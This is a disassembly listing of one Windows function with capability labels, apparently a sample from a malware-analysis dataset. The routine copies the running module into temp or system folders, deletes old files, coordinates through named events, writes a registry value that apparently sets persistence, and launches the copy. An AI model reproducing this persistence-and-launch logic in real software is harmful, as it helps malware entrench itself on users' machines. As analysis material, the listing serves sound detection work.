Function at 0x401100
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
mov eax, 0x1c4c
call fcn.00419170
mov eax, dword [0x432c20]
xor eax, esp
mov dword [esp + 0x1c44], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x206
lea ecx, [esp + 0x826]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x28], ebx
mov word [esp + 0x82c], ax
call fcn.00416cc0
add esp, 0xc
push 0x206
lea eax, [esp + 0x124e]
xor edx, edx
push ebx
push eax
mov word [esp + 0x1254], dx
call fcn.00416cc0
add esp, 0xc
push 0x206
lea edx, [esp + 0x1046]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x104c], cx
call fcn.00416cc0
xor eax, eax
add esp, 0xc
push 0x7e
lea edx, [esp + 0x7a6]
xor ecx, ecx
push ebx
push edx
mov word [esp + 0x68c], ax
mov dword [esp + 0x68e], eax
mov dword [esp + 0x692], eax
mov dword [esp + 0x696], eax
mov dword [esp + 0x69a], eax
mov dword [esp + 0x69e], eax
mov dword [esp + 0x6a2], eax
mov dword [esp + 0x6a6], eax
mov word [esp + 0x6aa], ax
mov word [esp + 0x7ac], cx
call fcn.00416cc0
add esp, 0xc
push 0x7e
lea ecx, [esp + 0x726]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x72c], ax
call fcn.00416cc0
add esp, 0xc
push 0x7e
lea eax, [esp + 0x6a6]
xor edx, edx
push ebx
push eax
mov dword [esp + 0x1c], ebx
mov word [esp + 0x6ac], dx
call fcn.00416cc0
add esp, 0xc
push 0x206
lea edx, [esp + 0xc36]
xor ecx, ecx
push ebx
push edx
xor ebp, ebp
mov word [esp + 0xc3c], cx
call fcn.00416cc0
add esp, 0xc
xor eax, eax
mov word [esp + 0x660], ax
mov dword [esp + 0x662], eax
mov dword [esp + 0x666], eax
mov dword [esp + 0x66a], eax
mov dword [esp + 0x66e], eax
mov dword [esp + 0x672], eax
push 0x206
lea edx, [esp + 0xa2e]
xor ecx, ecx
push ebx
push edx
mov dword [esp + 0x682], eax
mov dword [esp + 0x686], eax
mov word [esp + 0x68a], ax
mov word [esp + 0xa34], cx
call fcn.00416cc0
add esp, 0xc
push 0x206
lea ecx, [esp + 0xe3e]
xor eax, eax
push ebx
push ecx
mov word [esp + 0xe44], ax
call fcn.00416cc0
add esp, 0xc
push 0x200
lea edx, [esp + 0x2c]
push ebx
push edx
call fcn.00416cc0
add esp, 0xc
push 1
lea edi, [esp + 0x2c]
call fcn.00401c10
add esp, 4
mov esi, eax
push ebx
lea edi, [esp + 0x464]
mov dword [esp + 0x24], esi
call fcn.00401c10
add esp, 4
mov dword [esp + 0x24], eax
push 0x104
lea eax, [esp + 0x124c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [esp + 0x820]
push ecx
push 0x104
call edi
push 0x42c794
lea edx, [esp + 0x824]
push 0x104
push edx
call fcn.004148ea
lea eax, [esp + 0x82c]
add esp, 0xc
lea ecx, [eax + 2]
lea ecx, [ecx]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x401350
sub eax, ecx
sar eax, 1
je 0x401382
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401382
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test esi, esi
je 0x40161e
lea edx, [esp + 0x820]
push edx
push 0x104
call edi
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x824]
push 0x104
push ecx
call fcn.004148ea
add esp, 0xc
push 0x42c7ac
lea edx, [esp + 0x824]
push 0x104
push edx
call fcn.004148ea
lea eax, [esp + 0x82c]
add esp, 0xc
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e0
sub eax, edx
sar eax, 1
je 0x401450
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401450
xor eax, eax
jmp 0x401410
movzx ecx, word [esp + eax + 0x1b0]
mov word [esp + eax + 0x228], cx
add eax, 2
test cx, cx
jne 0x401410
push 0x42c7ac
lea ecx, [esp + 0x22c]
push 0x104
push ecx
call fcn.004148ea
add esp, 0xc
lea edx, [esp + 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x1d0]
push eax
lea ecx, [esp + 0x684]
push 0x10
push ecx
call fcn.00414967
add esp, 0xc
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00401ed0
call fcn.00401f80
cmp eax, 1
jne 0x40148e
xor eax, eax
jmp 0x401bf3
xor eax, eax
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xa28], cx
add eax, 2
test cx, cx
jne 0x401490
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x1d0]
mov word [esp + eax + 0xe38], cx
add eax, 2
test cx, cx
jne 0x4014b0
lea eax, [esp + 0xe38]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x4014d2
mov edx, dword [0x42c7b8]
mov ecx, dword [0x42c7bc]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [eax], edx
mov edx, dword [0x42c7c0]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x401575
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
lea ecx, [esp + 0xe38]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
lea edx, [esp + 0xa28]
push edx
xor esi, esi
push esi
push 0x20000
call ebp
test eax, eax
je 0x401575
lea esp, [esp]
cmp esi, 5
jge 0x401575
push eax
call edi
push 0x1f4
inc esi
call ebx
lea eax, [esp + 0xa28]
push eax
push 0
push 0x20000
call ebp
test eax, eax
jne 0x401550
push 0x3e8
call ebx
lea ecx, [esp + 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xae]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401590
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x2c]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x4015b0
movzx edx, word [esp + 0xac]
mov dword [esp + 0x10], edx
xor eax, eax
jmp 0x4015e0
movzx ecx, word [esp + eax + 0xce]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x4015e0
movzx ebp, word [esp + 0x14e]
mov ebx, dword [esp + 0x1f0]
lea eax, [esp + 0x1b0]
push eax
push 0x10
lea ecx, [esp + 0x668]
push ecx
jmp 0x4016cb
cmp dword [0x433fbc], 3
jne 0x4016d3
push 0x236
lea edx, [esp + 0x22c]
push 0
push edx
call fcn.00416cc0
add esp, 0xc
lea esi, [esp + 0x228]
call fcn.00402120
mov dword [esp + 0x1c], eax
test eax, eax
je 0x4016d3
xor eax, eax
jmp 0x401660
movzx ecx, word [esp + eax + 0x336]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x401660
mov ecx, dword [esp + 0x32e]
lea esi, [esp + 0x720]
call fcn.00402540
movzx eax, word [esp + 0x332]
mov ecx, dword [esp + 0x328]
lea esi, [esp + 0x6a0]
mov dword [esp + 0x10], eax
call fcn.00402540
movzx ebp, word [esp + 0x32c]
mov ebx, dword [esp + 0x230]
lea ecx, [esp + 0x356]
push ecx
push 0x10
lea edx, [esp + 0x688]
push edx
call fcn.00414967
add esp, 0xc
mov edi, dword [esp + 0x24]
test edi, edi
je 0x401800
xor eax, eax
jmp 0x4016f0
movzx ecx, word [esp + eax + 0x4e6]
mov word [esp + eax + 0x7a0], cx
add eax, 2
test cx, cx
jne 0x4016f0
xor eax, eax
lea ebx, [ebx]
movzx ecx, word [esp + eax + 0x464]
mov word [esp + eax + 0x720], cx
add eax, 2
test cx, cx
jne 0x401710
movzx eax, word [esp + 0x4e4]
mov dword [esp + 0x10], eax
xor eax, eax
jmp 0x401740
movzx ecx, word [eax + 0x42c7c4]
mov word [esp + eax + 0x6a0], cx
add eax, 2
test cx, cx
jne 0x401740
cmp dword [0x433fbc], 3
movzx ebp, word [esp + 0x586]
mov ebx, 5
je 0x401782
lea ecx, [esp + 0xc30]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x4017af
push 0x104
lea edx, [esp + 0xc34]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x42c8b8
lea eax, [esp + 0xc34]
push 0x104
push eax
call fcn.004148ea
add esp, 0xc
xor eax, eax
jmp 0x4017c0
movzx ecx, word [esp + eax + 0xc30]
mov word [esp + eax + 0x1040], cx
add eax, 2
test cx, cx
jne 0x4017c0
push 0x42c7e0
lea ecx, [esp + 0x1044]
push 0x104
push ecx
call fcn.004148ea
add esp, 0xc
lea edx, [esp + 0x1040]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.00416cc0
mov esi, 0x504d534d
mov ecx, 0x51
add esp, 0xc
mov dword [esp + 0x28], esi
mov word [esp + 0xac], cx
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x42c7f8]
mov word [esp + eax + 0x2c], cx
add eax, 2
test cx, cx
jne 0x401830
mov edx, 0x2b66
mov word [esp + 0x14e], dx
xor eax, eax
jmp 0x401860
movzx ecx, word [eax + 0x42c7c4]
mov word [esp + eax + 0xce], cx
add eax, 2
test cx, cx
jne 0x401860
xor eax, eax
lea esp, [esp]
movzx ecx, word [eax + 0x42c814]
mov word [esp + eax + 0xae], cx
add eax, 2
test cx, cx
jne 0x401880
cmp dword [esp + 0x20], 0
mov dword [esp + 0x1f0], 5
jne 0x4018b4
cmp dword [esp + 0x1c], 0
jne 0x4018b4
test edi, edi
je 0x40192a
lea eax, [esp + 0x7a0]
push eax
lea ecx, [esp + 0xb2]
push 0x10
push ecx
call fcn.00414967
add esp, 0xc
lea edx, [esp + 0x720]
push edx
lea eax, [esp + 0x30]
push 0x40
push eax
call fcn.00414967
mov cx, word [esp + 0x1c]
add esp, 0xc
lea edx, [esp + 0x6a0]
push edx
lea eax, [esp + 0xd2]
push 0x40
push eax
mov word [esp + 0xb8], cx
call fcn.00414967
add esp, 0xc
mov word [esp + 0x14e], bp
mov dword [esp + 0x1f0], ebx
test ebx, ebx
jne 0x40192a
mov dword [esp + 0x1f0], 5
cmp word [esp + 0x2c], 0
je 0x401bee
cmp word [esp + 0xac], 0
jbe 0x401bee
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004149d6
add esp, 4
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [esp + 0x145a]
push edx
mov word [esp + 0x145c], cx
call fcn.00416cc0
add esp, 0xc
cmp word [esp + 0x150], 0
jne 0x4019ad
lea eax, [esp + 0x1450]
push eax
call fcn.004025c0
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x154]
push 0x10
push edx
call fcn.00414967
add esp, 0xc
cmp word [esp + 0x170], 0
jne 0x4019e2
lea eax, [esp + 0x1450]
push eax
call fcn.004025c0
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x174]
push 0x10
push edx
call fcn.00414967
add esp, 0xc
lea eax, [esp + 0x660]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4019f0
sub eax, edx
sar eax, 1
je 0x401a34
lea eax, [esp + 0x660]
push eax
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401a34
lea ecx, [esp + 0x660]
push ecx
lea edx, [esp + 0x1b4]
push 0x10
push edx
call fcn.00414967
add esp, 0xc
cmp word [esp + 0x1b0], 0
jne 0x401a69
lea eax, [esp + 0x1450]
push eax
call fcn.004025c0
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x1b4]
push 0x10
push edx
call fcn.00414967
add esp, 0xc
cmp word [esp + 0x1d0], 0
jne 0x401adb
lea eax, [esp + 0x1450]
push eax
call fcn.004025c0
add esp, 4
lea ecx, [esp + 0x1450]
push ecx
lea edx, [esp + 0x1d4]
push 0x10
push edx
call fcn.00414967
lea eax, [esp + 0x68c]
add esp, 0xc
lea edx, [eax + 2]
jmp 0x401ab0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401ab0
sub eax, edx
sar eax, 1
je 0x401adb
lea eax, [esp + 0x680]
push eax
lea ecx, [esp + 0x1d4]
push 0x10
push ecx
call fcn.00414967
add esp, 0xc
cmp word [esp + 0x190], 0
jne 0x401b10
lea edx, [esp + 0x1450]
push edx
call fcn.004025c0
add esp, 4
lea eax, [esp + 0x1450]
push eax
lea ecx, [esp + 0x194]
push 0x10
push ecx
call fcn.00414967
add esp, 0xc
cmp dword [esp + 0x1f0], 0
mov dword [esp + 0x1f4], 0x1000271
jne 0x401b30
mov dword [esp + 0x1f0], 5
lea edx, [esp + 0x28]
push edx
call fcn.004026f0
add esp, 4
test eax, eax
je 0x401bee
lea edi, [esp + 0x820]
lea esi, [esp + 0x1d0]
call fcn.00401ed0
mov eax, edi
push eax
lea eax, [esp + 0x124c]
call fcn.00402880
add esp, 4
lea ecx, [esp + 0x18]
push ecx
push 3
push 0
push 0x42c820
push closesocket
mov dword [esp + 0x2c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401bd3
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401b94
mov ecx, dword [esp + 0x18]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [esp + 0x824]
push eax
push 1
push 0
push 0x42c88c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401bd3
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x42c790
lea eax, [esp + 0x82c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 1
mov ecx, dword [esp + 0x1c54]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004148db
add esp, 0x1c4c
ret